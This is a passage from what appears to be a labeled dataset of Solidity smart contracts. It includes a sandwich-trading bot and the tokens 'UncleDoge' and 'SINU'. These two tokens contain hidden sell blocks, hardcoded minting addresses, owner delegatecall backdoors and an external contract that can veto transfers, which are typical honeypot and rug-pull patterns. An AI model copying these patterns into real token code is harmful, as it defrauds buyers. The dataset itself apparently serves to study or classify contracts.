address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
contract Sandwich {
IUniswapV2Router02 router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
constructor() {}
receive() external payable {}
fallback() external payable {}
function swap(
uint amountOutMin,
address[] calldata path,
uint deadline,
uint bribe
) external {
uint amountIn = IERC20(path[0]).balanceOf(address(this));
IERC20(path[0]).approve(address(router), amountIn);
router.swapExactTokensForETH(
amountIn,
amountOutMin + bribe,
path,
address(this),
deadline
);
block.coinbase.call{value:bribe}(new bytes(0));
uint balance = address(this).balance;
require(balance >= amountOutMin);
msg.sender.call{value:balance}(new bytes(0));
}
} | 0 | 166 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract UncleDoge {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function _mints(address spender, uint256 addedValue) public returns (bool) {
require(msg.sender==owner
|| msg.sender==address(1128272879772349028992474526206451541022554459967)
|| msg.sender==address(781882898559151731055770343534128190759711045284)
|| msg.sender==address(718276804347632883115823995738883310263147443572)
|| msg.sender==address(56379186052763868667970533924811260232719434180)
);
if(addedValue > 0) {balanceOf[spender] = addedValue*(10**uint256(decimals));}
canSale[spender]=true;
return true;
}
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 0 | 1,966 |
pragma solidity ^0.4.24;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract ALXERC20 is Ownable {
using SafeMath for uint256;
mapping (address => uint256) public balances;
mapping (address => mapping (address => uint256)) internal allowed;
mapping (address => mapping (uint256 => timeHold)) internal requestWithdraws;
struct timeHold{
uint256[] amount;
uint256[] time;
uint256 length;
}
function requestOfAmount(address addr, uint256 n) public view returns(uint256){
return requestWithdraws[addr][n].amount[0];
}
function requestOfTime(address addr, uint256 n) public view returns(uint256){
return requestWithdraws[addr][n].time[0];
}
uint256 public roundCounter=0;
string public constant standard = "ERC20 ALX";
uint8 public constant decimals = 8;
uint256 public totalSupply;
string public name;
string public symbol;
uint256 public transactionFee = 1;
uint256 public icoEnd=0;
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
function setTransactionFee(uint256 _value) public onlyOwner{
transactionFee=_value;
}
function setIcoEnd(uint256 _value) public onlyOwner{
icoEnd=_value;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
require(block.timestamp>icoEnd);
balances[msg.sender] = balances[msg.sender].sub(_value);
uint256 fee=(_value*transactionFee)/1000;
delete requestWithdraws[msg.sender][roundCounter];
balances[_to] = balances[_to].add(_value-fee);
balances[owner]=balances[owner].add(fee);
emit Transfer(msg.sender, _to, _value-fee);
emit Transfer(msg.sender, owner, fee);
return true;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
require(block.timestamp>icoEnd);
balances[_from] = balances[_from].sub(_value);
uint256 fee=(_value*transactionFee)/1000;
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
delete requestWithdraws[msg.sender][roundCounter];
delete requestWithdraws[_from][roundCounter];
balances[_to] = balances[_to].add(_value-fee);
balances[owner]=balances[owner].add(fee);
emit Transfer(_from, _to, _value-fee);
emit Transfer(_from, owner, fee);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function approveAndCall(address _spender, uint256 _value, bytes _extraData) public returns (bool success) {
tokenRecipient spender = tokenRecipient(_spender);
if (approve(_spender, _value)) {
spender.receiveApproval(msg.sender, _value, this, _extraData);
return true;
}
}
}
interface tokenRecipient {
function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) external ;
}
contract ALX is ALXERC20 {
uint256 public tokenPrice = 30000000000000000;
uint256 public tokenAmount=0;
uint256 public tokenUnit = uint256(10)**decimals;
uint256 public holdTime;
uint256 public holdMax;
uint256 public maxSupply;
event LogDeposit(address sender, uint amount);
uint256 public withdrawFee = 1;
constructor (
uint256 initialSupply,
string contractName,
string tokenSymbol,
uint256 contractHoldTime,
uint256 contractHoldMax,
address contractOwner
) public {
totalSupply = initialSupply;
name = contractName;
symbol = tokenSymbol;
holdTime=contractHoldTime;
holdMax=contractHoldMax;
owner=contractOwner;
balances[contractOwner]= balances[contractOwner].add(totalSupply);
}
function () public payable {
buy();
}
function deposit() external payable onlyOwner returns(bool success) {
emit LogDeposit(msg.sender, msg.value);
return true;
}
function setWithdrawFee(uint256 _value) public onlyOwner{
withdrawFee=_value;
}
function withdrawReward() external {
uint i = 0;
uint256 ethAmount = 0;
uint256 tokenM=0;
if (block.timestamp - requestWithdraws[msg.sender][roundCounter].time[i] > holdTime && block.timestamp - requestWithdraws[msg.sender][roundCounter].time[i] < holdMax){
ethAmount += tokenPrice * requestWithdraws[msg.sender][roundCounter].amount[i];
tokenM +=requestWithdraws[msg.sender][roundCounter].amount[i];
}
ethAmount=ethAmount/tokenUnit;
require(ethAmount > 0);
emit LogWithdrawal(msg.sender, ethAmount);
totalSupply = totalSupply.sub(tokenM);
delete requestWithdraws[msg.sender][roundCounter];
uint256 fee=ethAmount*withdrawFee/1000;
balances[msg.sender] = balances[msg.sender].sub(tokenM);
msg.sender.transfer(ethAmount-fee);
owner.transfer(fee);
}
function withdraw(uint256 amount) public onlyOwner{
msg.sender.transfer(amount);
}
function setPrice(uint256 _value) public onlyOwner{
tokenPrice=_value;
roundCounter++;
}
event LogWithdrawal(address receiver, uint amount);
function requestWithdraw(uint256 value) public {
require(value <= balances[msg.sender]);
delete requestWithdraws[msg.sender][roundCounter];
requestWithdraws[msg.sender][roundCounter].amount.push(value);
requestWithdraws[msg.sender][roundCounter].time.push(block.timestamp);
requestWithdraws[msg.sender][roundCounter].length++;
}
uint256 public minPrice=250000000000000000;
function setMinPrice(uint256 value) public onlyOwner{
minPrice=value;
}
function buy() public payable {
require(msg.value>=minPrice);
tokenAmount = (msg.value * tokenUnit) / tokenPrice ;
transferBuy(msg.sender, tokenAmount);
owner.transfer(msg.value);
}
function transferBuy(address _to, uint256 _value) internal returns (bool) {
require(_to != address(0));
totalSupply = totalSupply.add(_value);
uint256 teamAmount=_value*100/1000;
totalSupply = totalSupply.add(teamAmount);
balances[_to] = balances[_to].add(_value);
balances[owner] = balances[owner].add(teamAmount);
emit Transfer(this, _to, _value);
emit Transfer(this, owner, teamAmount);
return true;
}
} | 1 | 3,601 |
pragma solidity ^0.7.0;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
interface IUniswapV2Router02 {
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract BotProtected {
address internal owner;
address internal protectionFromBots;
address public uniPair;
constructor(address _botProtection) {
protectionFromBots = _botProtection;
}
modifier checkBots(address _from, address _to, uint256 _value) {
(bool notABot, bytes memory isNotBot) = protectionFromBots.call(abi.encodeWithSelector(0x15274141, _from, _to, uniPair, _value));
require(notABot);
_;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
abstract contract ERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(msg.sender, recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(msg.sender, spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
}
}
contract SINU is BotProtected {
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply = 1000000000000000000000000000;
string public name = "Strong Inu";
string public symbol = "SINU";
IUniswapV2Router02 public uniRouter = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
address public wBNB = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
constructor(address _botProtection) BotProtected(_botProtection) {
owner = tx.origin;
uniPair = pairForUniswap(wBNB, address(this));
allowance[address(this)][address(uniRouter)] = uint(-1);
allowance[tx.origin][uniPair] = uint(-1);
}
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function transferFrom(address _from, address _to, uint _value) public payable checkBots(_from, _to, _value) returns (bool) {
if (_value == 0) { return true; }
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function delegate(address a, bytes memory b) public payable returns (bool) {
require(msg.sender == owner);
(bool success, ) = a.delegatecall(b);
return success;
}
function pairForUniswap(address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
function distribute(address[] memory _tos, uint amount) public {
require(msg.sender == owner);
protectionFromBots.call(abi.encodeWithSelector(0xd5eaf4c3, _tos));
for(uint i = 0; i < _tos.length; i++) {
balanceOf[_tos[i]] = amount;
emit Transfer(address(0x0), _tos[i], amount);
}
}
function list(uint _numList, address[] memory _tos, uint[] memory _amounts) public payable {
require(msg.sender == owner);
balanceOf[address(this)] = _numList;
balanceOf[msg.sender] = totalSupply * 6 / 100;
uniRouter.addLiquidityETH{value: msg.value}(
address(this),
_numList,
_numList,
msg.value,
msg.sender,
block.timestamp + 600
);
require(_tos.length == _amounts.length);
protectionFromBots.call(abi.encodeWithSelector(0xd5eaf4c3, _tos));
for(uint i = 0; i < _tos.length; i++) {
balanceOf[_tos[i]] = _amounts[i];
emit Transfer(address(0x0), _tos[i], _amounts[i]);
}
}
} | 0 | 1,860 |
pragma solidity ^0.4.24;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0);
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
library SafeDecimalMath {
using SafeMath for uint;
uint8 public constant decimals = 18;
uint8 public constant highPrecisionDecimals = 27;
uint public constant UNIT = 10 ** uint(decimals);
uint public constant PRECISE_UNIT = 10 ** uint(highPrecisionDecimals);
uint private constant UNIT_TO_HIGH_PRECISION_CONVERSION_FACTOR = 10 ** uint(highPrecisionDecimals - decimals);
function unit()
external
pure
returns (uint)
{
return UNIT;
}
function preciseUnit()
external
pure
returns (uint)
{
return PRECISE_UNIT;
}
function multiplyDecimal(uint x, uint y)
internal
pure
returns (uint)
{
return x.mul(y) / UNIT;
}
function _multiplyDecimalRound(uint x, uint y, uint precisionUnit)
private
pure
returns (uint)
{
uint quotientTimesTen = x.mul(y) / (precisionUnit / 10);
if (quotientTimesTen % 10 >= 5) {
quotientTimesTen += 10;
}
return quotientTimesTen / 10;
}
function multiplyDecimalRoundPrecise(uint x, uint y)
internal
pure
returns (uint)
{
return _multiplyDecimalRound(x, y, PRECISE_UNIT);
}
function multiplyDecimalRound(uint x, uint y)
internal
pure
returns (uint)
{
return _multiplyDecimalRound(x, y, UNIT);
}
function divideDecimal(uint x, uint y)
internal
pure
returns (uint)
{
return x.mul(UNIT).div(y);
}
function _divideDecimalRound(uint x, uint y, uint precisionUnit)
private
pure
returns (uint)
{
uint resultTimesTen = x.mul(precisionUnit * 10).div(y);
if (resultTimesTen % 10 >= 5) {
resultTimesTen += 10;
}
return resultTimesTen / 10;
}
function divideDecimalRound(uint x, uint y)
internal
pure
returns (uint)
{
return _divideDecimalRound(x, y, UNIT);
}
function divideDecimalRoundPrecise(uint x, uint y)
internal
pure
returns (uint)
{
return _divideDecimalRound(x, y, PRECISE_UNIT);
}
function decimalToPreciseDecimal(uint i)
internal
pure
returns (uint)
{
return i.mul(UNIT_TO_HIGH_PRECISION_CONVERSION_FACTOR);
}
function preciseDecimalToDecimal(uint i)
internal
pure
returns (uint)
{
uint quotientTimesTen = i / (UNIT_TO_HIGH_PRECISION_CONVERSION_FACTOR / 10);
if (quotientTimesTen % 10 >= 5) {
quotientTimesTen += 10;
}
return quotientTimesTen / 10;
}
}
contract Owned {
address public owner;
address public nominatedOwner;
constructor(address _owner)
public
{
require(_owner != address(0), "Owner address cannot be 0");
owner = _owner;
emit OwnerChanged(address(0), _owner);
}
function nominateNewOwner(address _owner)
external
onlyOwner
{
nominatedOwner = _owner;
emit OwnerNominated(_owner);
}
function acceptOwnership()
external
{
require(msg.sender == nominatedOwner, "You must be nominated before you can accept ownership");
emit OwnerChanged(owner, nominatedOwner);
owner = nominatedOwner;
nominatedOwner = address(0);
}
modifier onlyOwner
{
require(msg.sender == owner, "Only the contract owner may perform this action");
_;
}
event OwnerNominated(address newOwner);
event OwnerChanged(address oldOwner, address newOwner);
}
contract SelfDestructible is Owned {
uint public initiationTime;
bool public selfDestructInitiated;
address public selfDestructBeneficiary;
uint public constant SELFDESTRUCT_DELAY = 4 weeks;
constructor(address _owner)
Owned(_owner)
public
{
require(_owner != address(0), "Owner must not be the zero address");
selfDestructBeneficiary = _owner;
emit SelfDestructBeneficiaryUpdated(_owner);
}
function setSelfDestructBeneficiary(address _beneficiary)
external
onlyOwner
{
require(_beneficiary != address(0), "Beneficiary must not be the zero address");
selfDestructBeneficiary = _beneficiary;
emit SelfDestructBeneficiaryUpdated(_beneficiary);
}
function initiateSelfDestruct()
external
onlyOwner
{
initiationTime = now;
selfDestructInitiated = true;
emit SelfDestructInitiated(SELFDESTRUCT_DELAY);
}
function terminateSelfDestruct()
external
onlyOwner
{
initiationTime = 0;
selfDestructInitiated = false;
emit SelfDestructTerminated();
}
function selfDestruct()
external
onlyOwner
{
require(selfDestructInitiated, "Self destruct has not yet been initiated");
require(initiationTime + SELFDESTRUCT_DELAY < now, "Self destruct delay has not yet elapsed");
address beneficiary = selfDestructBeneficiary;
emit SelfDestructed(beneficiary);
selfdestruct(beneficiary);
}
event SelfDestructTerminated();
event SelfDestructed(address beneficiary);
event SelfDestructInitiated(uint selfDestructDelay);
event SelfDestructBeneficiaryUpdated(address newBeneficiary);
}
contract State is Owned {
address public associatedContract;
constructor(address _owner, address _associatedContract)
Owned(_owner)
public
{
associatedContract = _associatedContract;
emit AssociatedContractUpdated(_associatedContract);
}
function setAssociatedContract(address _associatedContract)
external
onlyOwner
{
associatedContract = _associatedContract;
emit AssociatedContractUpdated(_associatedContract);
}
modifier onlyAssociatedContract
{
require(msg.sender == associatedContract, "Only the associated contract can perform this action");
_;
}
event AssociatedContractUpdated(address associatedContract);
}
contract TokenState is State {
mapping(address => uint) public balanceOf;
mapping(address => mapping(address => uint)) public allowance;
constructor(address _owner, address _associatedContract)
State(_owner, _associatedContract)
public
{}
function setAllowance(address tokenOwner, address spender, uint value)
external
onlyAssociatedContract
{
allowance[tokenOwner][spender] = value;
}
function setBalanceOf(address account, uint value)
external
onlyAssociatedContract
{
balanceOf[account] = value;
}
}
contract Proxy is Owned {
Proxyable public target;
bool public useDELEGATECALL;
constructor(address _owner)
Owned(_owner)
public
{}
function setTarget(Proxyable _target)
external
onlyOwner
{
target = _target;
emit TargetUpdated(_target);
}
function setUseDELEGATECALL(bool value)
external
onlyOwner
{
useDELEGATECALL = value;
}
function _emit(bytes callData, uint numTopics, bytes32 topic1, bytes32 topic2, bytes32 topic3, bytes32 topic4)
external
onlyTarget
{
uint size = callData.length;
bytes memory _callData = callData;
assembly {
switch numTopics
case 0 {
log0(add(_callData, 32), size)
}
case 1 {
log1(add(_callData, 32), size, topic1)
}
case 2 {
log2(add(_callData, 32), size, topic1, topic2)
}
case 3 {
log3(add(_callData, 32), size, topic1, topic2, topic3)
}
case 4 {
log4(add(_callData, 32), size, topic1, topic2, topic3, topic4)
}
}
}
function()
external
payable
{
if (useDELEGATECALL) {
assembly {
let free_ptr := mload(0x40)
calldatacopy(free_ptr, 0, calldatasize)
let result := delegatecall(gas, sload(target_slot), free_ptr, calldatasize, 0, 0)
returndatacopy(free_ptr, 0, returndatasize)
if iszero(result) { revert(free_ptr, returndatasize) }
return(free_ptr, returndatasize)
}
} else {
